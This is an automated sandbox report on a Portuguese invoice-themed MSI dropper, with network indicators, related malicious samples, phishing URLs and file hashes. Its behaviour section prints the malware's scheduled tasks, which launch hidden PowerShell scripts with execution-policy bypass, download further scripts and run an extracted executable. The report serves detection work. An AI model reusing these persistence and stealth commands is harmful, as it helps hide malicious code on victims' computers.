https://www.youtube.com/s/notifications/manifest/cr_install.html	chrome.exe, 00000009.00000002.4157621176.00000168025AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159514425.00000168028CB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156784830.00000168024C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/4966	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/J	chrome.exe, 00000009.00000002.4157621176.00000168025AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159514425.00000168028CB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5421	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000003.00000002.1798080382.00000000050E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1897727781.00000000043E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA	chrome.exe, 00000009.00000002.4158357666.00000168026F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160355170.0000016802978000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dl.google.com/release2/chrome_component/cpx7rw4q3nwu7emczqf2w6cu7y_2023.3.30.1305/cocncanlea	chrome.exe, 00000009.00000002.4161977198.0000016802B80000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i.ibb.co	powershell.exe, 00000003.00000002.1804564307.0000000009F69000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.google.com/dl/release2/chrome_component/acccxbt6wwsvpxzpob4hojndwkqq_4.10.2830.0/oimompec	chrome.exe, 00000009.00000002.4161977198.0000016802B80000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.15.58.240	upload.wikimedia.org	Netherlands	14907	WIKIMEDIAUS	false
192.124.216.109	yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org	Russian Federation	15455	EMBANK-ASRU	false
192.124.216.14	unknown	Russian Federation	15455	EMBANK-ASRU	true
142.250.181.110	unknown	United States	15169	GOOGLEUS	false
91.134.82.79	i.ibb.co	France	16276	OVHFR	false
172.217.19.174	drive.google.com	United States	15169	GOOGLEUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562889
Start date and time:	2024-11-26 08:53:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	Fatura931Pendente956.pdf761.msi
Detection:	MAL
Classification:	mal100.troj.expl.evad.winMSI@87/220@18/10
EGA Information:	Successful, ratio: 7.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 489 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .msi Override analysis time to 240s for sample based on specific behavior

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.19.238, 64.233.165.84, 199.232.214.172, 34.104.35.123, 192.229.221.95, 23.218.208.109, 172.217.19.202, 142.250.181.106, 172.217.21.42, 172.217.19.170, 142.250.181.74, 216.58.208.234, 142.250.181.138, 172.217.17.74, 172.217.17.42, 172.217.19.234, 172.217.21.35, 172.217.17.35, 172.217.17.67, 142.250.181.10, 142.250.181.42, 172.217.17.78, 172.217.19.195
Excluded domains from analysis (whitelisted): ssl.gstatic.com, slscr.update.microsoft.com, youtube.googleapis.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, ocsp.digicert.com, e16604.g.akamaiedge.net, update.googleapis.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, optimizationguide-pa.googleapis.com, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, fonts.gstatic.com, ctldl.windowsupdate.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, content.googleapis.com, clients.l.google.com
Execution Graph export aborted for target powershell.exe, PID 1020 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1236 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1360 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3408 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4856 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5376 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5672 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6052 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6224 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6300 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6704 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7228 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7488 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:54:03	API Interceptor	1032968x Sleep call for process: powershell.exe modified
02:54:16	API Interceptor	2x Sleep call for process: svchost.exe modified
07:54:07	Task Scheduler	Run new task: ATD path: Powershell.exe s>-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
07:54:25	Task Scheduler	Run new task: CheckDStatus path: PowerShell.exe s>-NoProfile -ExecutionPolicy Bypass -Command & {
07:54:32	Task Scheduler	Run new task: exe01aa path: C:\LocalNow\Extracted\01aa.exe
07:54:48	Task Scheduler	Run new task: Rosa path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe s>-ExecutionPolicy Bypass -NoProfile -Command "& {
07:54:59	Task Scheduler	Run new task: Renome01aa path: PowerShell.exe s>-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\Executar01aa.ps1"
07:55:15	Task Scheduler	Run new task: Pasta path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe s>-ExecutionPolicy Bypass -NoProfile -Command "& {
07:55:36	Task Scheduler	Run new task: DownloadDownSistem path: PowerShell.exe s>-NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) {
07:55:36	Task Scheduler	Run new task: ExecuteDownSistem path: PowerShell.exe s>-NoProfile -ExecutionPolicy Bypass -File "C:\temp\DownSistem.ps1"
07:55:56	Task Scheduler	Run new task: DWD path: PowerShell.exe s>-NoProfile -ExecutionPolicy Bypass -File C:\temp\sistema.ps1

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.15.58.240	https://buyiceply.live/?utm_campaign=INccHxHRWrew3TQsLBbfNnbGFYUZobMqxXT9Zrw5FhI1&t=main9other	Get hash	malicious	GRQ Scam	Browse	upload.wikimedia.org/wikipedia/commons/6/65/Lock-green.svg
185.15.58.240	https://www.google.com/url?rct=j&sa=t&url=https://fischer-baupro.de/south-state-bank-locations.html&ct=ga&cd=CAEYASoTMjAxNTMxNTQ2Njc0Mjk3OTUyNDIaYTBmZWVhZTA3M2MyMDJhMDpjb206ZW46VVM&usg=AOvVaw3lhiJJ-nclIGfQxEWGuu5s	Get hash	malicious	GRQ Scam	Browse	upload.wikimedia.org/wikipedia/commons/6/65/Lock-green.svg
239.255.255.250	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	INVITATION TO BID as on 25 NOV 2024.html	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	Finish_Agreement_DocuSign.pdf	Get hash	malicious	Unknown	Browse
	http://www.btc1yby.blogspot.rs/	Get hash	malicious	GRQ Scam	Browse
	http://awumnf.com	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	kkEzK284oT.exe	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Cryptbot	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	A095176990000.pdf	Get hash	malicious	HTMLPhisher	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.110
	https://sites.google.com/ceqy.com/rfp/home	Get hash	malicious	HTMLPhisher	Browse	172.217.17.46
	file.exe	Get hash	malicious	Cryptbot	Browse	172.217.17.78
blobcomments-pa.clients6.google.com	https://3a88da1a86b3b964.ngrok.app/Factura.php	Get hash	malicious	Unknown	Browse	142.250.65.234
	https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b	Get hash	malicious	Unknown	Browse	142.250.186.138
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	142.250.185.74
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	142.250.186.170
	https://drive.google.com/file/d/151vedGg58lF5fqW5z3ZjSsPM04UlJTlj/view?usp=sharing	Get hash	malicious	Unknown	Browse	216.58.206.74
	https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing	Get hash	malicious	HTMLPhisher	Browse	142.250.185.234
	https://drive.google.com/open?id=1oGceeKLej675-k84a5Gv9NOY5w5hDjkF	Get hash	malicious	Unknown	Browse	172.217.18.10
	http://drive.google.com/file/d/1KzdJcCCAy0vxzA-Q1-2vtua0ue8F5sK-/view	Get hash	malicious	Unknown	Browse	142.250.186.42
	https://drive.google.com/file/d/18nCGMab9f1NLpGJOXakFvZYKY-28KcAU	Get hash	malicious	Unknown	Browse	142.250.186.74
	Meenakshi pdf lnk.lnk	Get hash	malicious	Unknown	Browse	216.58.206.74
play.google.com	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Cryptbot	Browse	172.217.19.206
	A095176990000.pdf	Get hash	malicious	HTMLPhisher	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	172.217.19.206
	https://sites.google.com/ceqy.com/rfp/home	Get hash	malicious	HTMLPhisher	Browse	172.217.19.206
	file.exe	Get hash	malicious	Cryptbot	Browse	172.217.19.206
	http://google.com	Get hash	malicious	Unknown	Browse	172.217.19.238
	https://sites.google.com/mdisrupt.com/rfp/home	Get hash	malicious	HTMLPhisher	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WIKIMEDIAUS	https://avidgroup.famislnc.com/fvcvfxfec/cc6d843dfd/?1f9da=amtsZW1wQGNhcmlzbHMuY29t	Get hash	malicious	Unknown	Browse	185.15.58.240
	https://www.google.co.kr/url?url=https://hrtyuytitwagtxswxzqxpcm&jtdm=hjstxxb&qhwocq=elw&vrszx=mrursi&rtz=qksmlok&sdyxm=kxlpun&hnkj=iujyvng&vochgqf=ylsd&pkhfd=vyifcj&nymdhak=ffn&ylzv=xpddvxaj&zoadnebgoj=rccejsmuqd&q=amp/hmf1bnz.s%C2%ADlf%C2%ADpg%C2%ADq%C2%ADq%C2%ADwzu%C2%ADx%C2%ADppns%C2%ADc%C2%ADs%C2%AD.com%E2%80%8B/n7brnx1iy&lbgq=ihcrvpx&isffrcc=xjcvvbbd&hokv=buitobfj&nfzezydbgm=lhtjhglyxx&pjwu=tdsgcse&cesnzrb=ekoykarj&ifpv=yabmwecd&acyeqkflup=bacwibnnwl&dovx=vqvcdxk&rwbvdtj=khlezois&efgx=ktfpexjt&iqggbgjmwh=cvqmvfdelx&gqsh=ghsdgye&hipceti=hpqeesqk&hkvbucxuvo=drwoirzwsq&dril=qbpemxo&xziwtam=tdvywqlj&nndiwyldry=kjqbehmdbj&kqef=faiqetj&peigggc=vbyfdxky&fstmbbtmkx=rjxugltfmc&rpws=borxqez&rijvxqj=ntedqhtd&wohxxxgtmq=jpiozpkrbp&cxah=gcmtksp&tzidqah=syxnwioo&szzishkfke=xmnmodwwoc&xmif=xdxtrqz&ajzcojq=fmtqkshw&gkmh=vmwdknp&xvlhpuf=zkhqqziq&rvfh=igbqint&gdnzlky=hyzlhjke&dqkq=ophpttl&yoamsuz=cuykisoc&frzr=lajcnwi&chdmjpw=hymhkhbw&wnxy=zwkomqb&duxkrfq=asjrwcgu&fzya=hrpcnke&hxrusxm=foudbois&yqgm=uhfvxoo&uynyplq=iryzkatx&qfzs=stmleud&vkbxzkf=hxgbjzit&dnro=vjxntck&kfrldgj=vpyfihbn&nsko=sdzidzb&unudtuz=mnvrwokv&lisf=zxdfari&tdyzrah=otrtzuun&rfza=trokalr&vkfduyc=wpwvnxpe&jjsq=pgkbofh&uatnbjp=gtwiypfq&zilu=kagobvs&jqfufkw=bckrzetp&tjng=jgmmmod&fvdtpsk=vlyzfjep&mgoi=fklhysh&llyljdv=jxpogtdn&gcjv=vjlzkuf&erlhvti=peuprtov&kbxk=jviffkg&lklbxhl=uhzpnzfw&upaw=gfmiehp&ismxijp=hmwbsmgj&zdkc=kodikna&njllvzf=oodglyrw&urdk=cktezyn&vmqhwgh=kqcbhffu&riqy=tlnbqzr&nmlgrkn=inyeynzg&vebu=pwpghzr&ckpmyoc=tmeufjen&otic=svrqsdo&tbwzub	Get hash	malicious	Unknown	Browse	185.15.58.224
	Q460725_8952397_6525_PDF.htm	Get hash	malicious	Unknown	Browse	185.15.58.240
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse	185.15.58.224
	Quittungsdetails_660293856_PDF.htm	Get hash	malicious	Unknown	Browse	185.15.58.240
	phish_alert_sp1_1.0.0.0(1).eml	Get hash	malicious	KnowBe4	Browse	185.15.59.240
	https://0nline.hrdocuments.online/?K2dM=7XW	Get hash	malicious	Unknown	Browse	185.15.59.224
	phish_alert_sp2_2.0.0.0-1.eml	Get hash	malicious	Unknown	Browse	185.15.59.240
	Bthomas_Record_Adjustment.docx	Get hash	malicious	HTMLPhisher	Browse	185.15.59.240
	https://www.google.es/url?q=query6iir(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fsafrareal.com.br%2fyoya%2fsjnviflutf2ksz0koshykwmhlhv20ssu2pivu/amZlcmd1c29uQHN5bmVyZ2lzZWR1Y2F0aW9uLmNvbQ==$?	Get hash	malicious	Unknown	Browse	185.15.59.240
OVHFR	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	51.195.88.199
	2jbMIxCFsK.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse	51.195.88.199
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	51.38.171.30
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	192.99.154.40
	http://www.kalenderpedia.de	Get hash	malicious	Unknown	Browse	217.182.178.234
	apep.m68k.elf	Get hash	malicious	Unknown	Browse	192.99.178.29
	file.exe	Get hash	malicious	Xmrig	Browse	51.195.43.17
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	46.105.79.108
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	54.38.112.39
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	137.74.55.109
EMBANK-ASRU	https://marketing.edinburghairport.com/4QNA-A60M-5IWCT9-JVKO0-1/c.aspx?_externalContentRedirect=https://link.sbstck.com/redirect/43698733-83ea-4129-b836-e9d43d1ad5ed?j=eyJ1IjoiNDltdXZ6In0.CxolcWPhPGrBgw3rA0jd5lscc71sjQLfIOZNSPA48EY	Get hash	malicious	Unknown	Browse	192.124.216.133
EMBANK-ASRU	https://marketing.edinburghairport.com/4QNA-A60M-5IWCT9-JVKO0-1/c.aspx?_externalContentRedirect=https://link.sbstck.com/redirect/43698733-83ea-4129-b836-e9d43d1ad5ed?j=eyJ1IjoiNDltdXZ6In0.CxolcWPhPGrBgw3rA0jd5lscc71sjQLfIOZNSPA48EY	Get hash	malicious	HTMLPhisher	Browse	192.124.216.133
EMBANK-ASRU	https://marketing.edinburghairport.com/4QNA-A60M-5IWCT9-JVKO0-1/c.aspx?_externalContentRedirect=https://link.sbstck.com/redirect/43698733-83ea-4129-b836-e9d43d1ad5ed?j=eyJ1IjoiNDltdXZ6In0.CxolcWPhPGrBgw3rA0jd5lscc71sjQLfIOZNSPA48EY	Get hash	malicious	Unknown	Browse	192.124.216.133
EMBANK-ASRU	https://marketing.edinburghairport.com/4QNA-A60M-5IWCT9-JVKO0-1/c.aspx?_externalContentRedirect=https://link.sbstck.com/redirect/43698733-83ea-4129-b836-e9d43d1ad5ed?j=eyJ1IjoiNDltdXZ6In0.CxolcWPhPGrBgw3rA0jd5lscc71sjQLfIOZNSPA48EY	Get hash	malicious	HTMLPhisher	Browse	192.124.216.133

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63 20.12.23.50
	Finish_Agreement_DocuSign.pdf	Get hash	malicious	Unknown	Browse	13.107.246.63 20.12.23.50
	http://www.btc1yby.blogspot.rs/	Get hash	malicious	GRQ Scam	Browse	13.107.246.63 20.12.23.50
	http://awumnf.com	Get hash	malicious	Unknown	Browse	13.107.246.63 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63 20.12.23.50
	file.exe	Get hash	malicious	Cryptbot	Browse	13.107.246.63 20.12.23.50
	https://cp-wb-pe-2-ujft-9-kslojlj-5-gdr-3-cwge-5-h5-posg-3.vercel.app/?web=minjeong.cho@hyundaimovex.com	Get hash	malicious	Unknown	Browse	13.107.246.63 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63 20.12.23.50
3b5074b1b5d032e5620f69f9f700ff0e	EPTMAcgvNZ.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	185.15.58.240 91.134.82.79
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	185.15.58.240 91.134.82.79
	2jbMIxCFsK.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse	185.15.58.240 91.134.82.79
	Packing List - SAPPHIRE X.xlsx.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	185.15.58.240 91.134.82.79
	WOOYANG VENUS PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	185.15.58.240 91.134.82.79
	5QnwxSJVyX.doc	Get hash	malicious	Unknown	Browse	185.15.58.240 91.134.82.79
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.15.58.240 91.134.82.79
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.15.58.240 91.134.82.79
	file.exe	Get hash	malicious	FormBook	Browse	185.15.58.240 91.134.82.79
	file.exe	Get hash	malicious	FormBook	Browse	185.15.58.240 91.134.82.79

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	301913
Entropy (8bit):	6.569406169801869
Encrypted:	false
SSDEEP:	3072:lCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVB:lAkA7iA4gM0TgNcAecnxGYu+scBQf4by
MD5:	75D0910F493FBF0FA6402EB69893C904
SHA1:	207EE4D7715C3F1C429A1D473557E13D1309B591
SHA-256:	42A8347543E79B888F4EE3BB64A9C8BA3F1A9EAF06C1038A87BA4042A775CA4D
SHA-512:	80E8DF26FC4ECB7E540931DE19BFDA5FAF1E3928921E6B2287FAB7D03E4231012DFBE77F173F96ABD6B776F7B08C09F891684E98D17CC87964C557220379390B
Malicious:	false
Preview:	...@IXOS.@.....@..zY.@.....@.....@.....@.....@.....@......&.{5C6353ED-1D1D-4B1D-98DF-773281977790}..Fatura..Fatura931Pendente956.pdf761.msi.@.....@..`!.@.....@........&.{0C667927-6D0B-4AB9-A01E-2A11C050934F}.....@.....@.....@.....@.......@.....@.....@.......@......Fatura......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{D2154826-F81C-429F-9546-0615974E92B9}&.{5C6353ED-1D1D-4B1D-98DF-773281977790}.@........WriteRegistryValues..Writing system registry values..Key: [1], Name: [2], Value: [3]$..@......Software\Fatura\Fatura...@....(.&...Version..33.96.25.98'.&...Path-.C:\Users\user\AppData\Roaming\Fatura\Fatura\....aaa1....bK...b.@......8...MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L....

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xcb5e37a6, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221427990897708
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
MD5:	820E7BEC75CE2D8A1286B9042B953796
SHA1:	8BE1F4D6CEE947CAC55DF2D52B11EABFD307F36A
SHA-256:	DD7500AD558DCA2A3771765E8A55381B0899D48B1A2C15BFD93C580BF1B5FC5A
SHA-512:	E34CADB162105B774E293C4479DE0DAD5F1AF2EAF425B0FC91FDF7EEC63BF36FB92F87D2021832116746A7E4FA6EFC66EB10524AAD87ACFCCA7F15DA9B79FCB5
Malicious:	false
Preview:	.^7.... .......A.......X\...;...{......................0.!..........{A..6...\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................K...6...\|w..................h..6...\|]..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	1356
Entropy (8bit):	5.278671537754415
Encrypted:	false
SSDEEP:	24:3gpREWSKco4KmZjKbmOIKod6emZ9tYs4RPQoUEJ0gt/NKo+hHrgi8tDNlD:wnXSU4xympjmZ9tz4RIoUl8NTsHGtLD
MD5:	D1A02D90DF7ADF05A8C6D77D8C55B68A
SHA1:	E9AF8D20DBF9B800B9D5B200A19F16B0E252B70E
SHA-256:	18B49017BD91BF5348AF541090704AB9B17B27E21470A4FA16F1B3E8ADB8AC7A
SHA-512:	FA540E0C33C15854BDFE44485691E123619A27CB72582352D4D3B5F8B9B226AEDEB93C4E0E2A5774770D33CA3E54615A4A5A3C1D05C05229B3A35D5EDDFC87BF
Malicious:	false
